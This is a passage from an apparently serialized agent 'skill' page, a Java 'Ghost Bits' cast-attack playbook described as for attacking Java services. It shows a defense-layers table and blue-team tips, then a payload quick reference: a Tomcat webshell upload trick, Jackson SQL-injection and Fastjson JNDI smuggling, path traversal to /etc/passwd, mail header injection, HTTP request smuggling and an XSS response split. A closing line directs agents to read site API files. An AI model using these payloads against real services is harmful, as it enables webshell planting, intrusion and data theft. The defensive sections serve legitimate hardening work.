0x0D ('\\r'), 0x0A ('\\n'), 0x6A ('j'), 0x73 ('s'),\n 0x6C ('l'), 0x61 ('a'), 0x63 ('c'), 0x22 ('\"'), 0x27 (''')\n\n6. Cluster sinks by component (response Server header, error stack) — one\n sink usually implies the whole framework version is vulnerable.","type":"text"}]},{"type":"paragraph","content":[{"text":"This workflow is intentionally protocol-agnostic; the same loop works on a file uploader, a search endpoint, a mail composer, or a Redis-backed cache.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"10. DEFENSE AWARENESS","type":"text"}]},{"type":"paragraph","content":[{"text":"Five layers, all needed; any single one is bypassable in isolation.","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Layer","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Action","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Source code","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ban hand-written ","type":"text"},{"text":"(byte) ch","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"& 0xFF","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"out.write(ch)","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"writeBytes","type":"text","marks":[{"type":"code_inline"}]},{"text":". Use ","type":"text"},{"text":"getBytes(StandardCharsets.UTF_8)","type":"text","marks":[{"type":"code_inline"}]},{"text":" or strict ASCII allowlist for protocol fields.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Decoder","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Reject illegal input. Never default-fold an unknown hex / Unicode digit / Base64 character to 0 or to its low 8 bits.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Validation order","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Always normalize first, then validate. Specifically: strict decode → Unicode NFC/NFKC → protocol normalize (URL ","type":"text"},{"text":"..","type":"text","marks":[{"type":"code_inline"}]},{"text":" resolution, ","type":"text"},{"text":"File.getCanonicalPath","type":"text","marks":[{"type":"code_inline"}]},{"text":") → security check → execute.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Protocol field","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Use strict allowlists per field (HTTP header value, SMTP envelope, URL path, filename, JSON key, XML tag). Reject CR/LF in any header or address.","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"WAF / IDS","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Run a ","type":"text"},{"text":"multi-view","type":"text","marks":[{"type":"em"}]},{"text":" normalizer. Always inspect the original string AND the ","type":"text"},{"text":"(char) & 0xFF","type":"text","marks":[{"type":"code_inline"}]},{"text":" view AND the URL-decoded view AND the Unicode-NFKC view. Alert when any view contains a dangerous semantic the original lacked.","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Blue-team smell tests:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Logs contain CJK / Latin-Extended characters at positions where the protocol grammar expects ASCII (filename, header value, mail address).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"The HEX dump of a request contains bytes outside ","type":"text"},{"text":"0x20..0x7E","type":"text","marks":[{"type":"code_inline"}]},{"text":" adjacent to protocol delimiters.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"A pen-test or scanner reports a \"weird 200\" that the security monitoring did not flag — Ghost Bits is the most common 2025-2026 cause for that pattern in Java stacks.","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"11. QUICK REFERENCE — KEY PAYLOADS","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"text"},"content":[{"text":"# Ghost char generator\nghost(T, k) = chr(((k & 0xFF) \u003c\u003c 8) | (T & 0xFF)) # avoid k in 0xD8..0xDF\n\n# Tomcat filename* webshell upload\nContent-Disposition: attachment; filename*=\"UTF-8''shell.陪sp\" # → shell.jsp\n\n# BCEL ClassLoader bypass (concept)\n$BCEL$\u003ceach-byte-of-class-file-wrapped-in-a-Unicode-char>\n\n# Jackson SQLi smuggling\n{\"q\":\"\\u丰丰耳失 union select 1,2,3-- \"} # → \"1 union select…\"\n\n# Fastjson @type smuggling\n{\"\\x4_type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://x\"}\n\n# Spring URL decode + Jetty %2> folding\nGET /api/data?file=阮丯阮丯etc丯passwd\nGET /setup/setup-s/%2>%2>/log.jsp\nGET /api?cmd=Ru%6>time\n\n# Spring4Shell name* class smuggling\nContent-Disposition: form-data; name*=\"㹣౬ᙡ⑳⑳.module.classLoader...\"\n\n# Spring CVE-2025-41242 path read\nGET /resources/阮严灵丰丰甲来/secret.properties # → ../%u002e\n\n# Angus Mail / Jira mail hijack\nFrom: [email protected]瘍瘊Subject: Reset瘍瘊To: [email protected]瘍瘊瘍瘊Your code is 1234\n\n# Apache HttpClient ≤4.5.9 smuggling\nX-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\\r\\nHost: internal\\r\\nContent-Length: 0\\r\\n\\r\\nGET /public HTTP/1.1\n\n# JDK HttpServer response splitting (CVE-2026-21933)\n?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊\u003cscript>alert(1)\u003c/script>\n\n# SAST first-pass grep\ngrep -RnE '\$byte\$\\s*\\w+|& 0[xX][fF][fF]|writeBytes|baos\\.write\$\\w+\$' src/\ngrep -RnE 'Character\\.digit|fromHexDigit|charToHex|uriDecode' src/","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"REFERENCES","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Black Hat Asia 2026 — ","type":"text"},{"text":"Cast Attack: A New Threat Posed by Ghost Bits in Java","type":"text","marks":[{"type":"em"}]},{"text":". Speakers: Xinyu Bai (@b1u3r / @iSafeBlue), Zhihui Chen (@1ue). Contributor: Zongzheng Zheng (@chun_springX).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Real-world CVEs re-enabled: GeoServer CVE-2024-36401, Spring4Shell CVE-2022-22965, Openfire CVE-2023-32315, Spring CVE-2025-41242, Jakarta Mail CVE-2025-57733, JDK HttpServer CVE-2026-21933, Apache HttpClient HTTPCLIENT-1974 / HTTPCLIENT-1978.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Patched components to upgrade past: Apache Commons BCEL >= 6.12.0, Fastjson 2.x latest, Apache HttpClient >= 4.5.10 (or migrate to 5.x), GeoServer >= 2.28.3, Openfire >= 5.0.4. Confirm vendor advisories before relying on any single version number.","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}}]},"metadata":{"date":"2026-06-05","name":"ghost-bits-cast-attack","author":"@skillopedia","source":{"stars":853,"repo_name":"hack-skills","origin_url":"https://github.com/yaklang/hack-skills/blob/HEAD/skills/ghost-bits-cast-attack/SKILL.md","repo_owner":"yaklang","body_sha256":"c40e91b53b1f1e97ea5652e15cc34e75478ba083b8ca522d676c4ff3dafd3e87","cluster_key":"d3c1e87b67110c315c8b7d08d41c333d4ce07f113415549ebc22716f1a30907b","clean_bundle":{"format":"clean-skill-bundle-v1","source":"yaklang/hack-skills/skills/ghost-bits-cast-attack/SKILL.md","attachments":[{"id":"05d4b30d-11fb-57de-a33a-b87cd583fa8a","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/05d4b30d-11fb-57de-a33a-b87cd583fa8a/attachment.md","path":"PAYLOAD_COOKBOOK.md","size":24488,"sha256":"25f8fe8914f931b1df3391f96de260122e4f362b6e7a87bbe717a44b72a06f6d","contentType":"text/markdown; charset=utf-8"}],"bundle_sha256":"994dcd54424594576588698ff0aefdaa9bf2afbef44b5ec3110c7d672fe8a43c","attachment_count":1,"text_attachments":1,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":0,"excluded_attachments":[]},"cluster_size":1,"skill_md_path":"skills/ghost-bits-cast-attack/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":0},"version":"v1","category":"security","import_tag":"clean-skills-v1","description":"Java \"Ghost Bits\" / Cast Attack playbook (Black Hat Asia 2026). Use when attacking Java services where 16-bit char is silently narrowed to 8-bit byte to bypass WAF/IDS for SQL injection, deserialization RCE, file upload (Webshell), path traversal, CRLF injection, request smuggling, and SMTP injection. Affects Tomcat, Spring, Jetty, Undertow, Vert.x, Jackson, Fastjson, Apache Commons BCEL, Apache HttpClient, Angus Mail, JDK HttpServer, Lettuce, Jodd, XMLWriter and re-enables many \"patched\" CVEs through WAF bypass."}},"renderedAt":1782979853404}

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.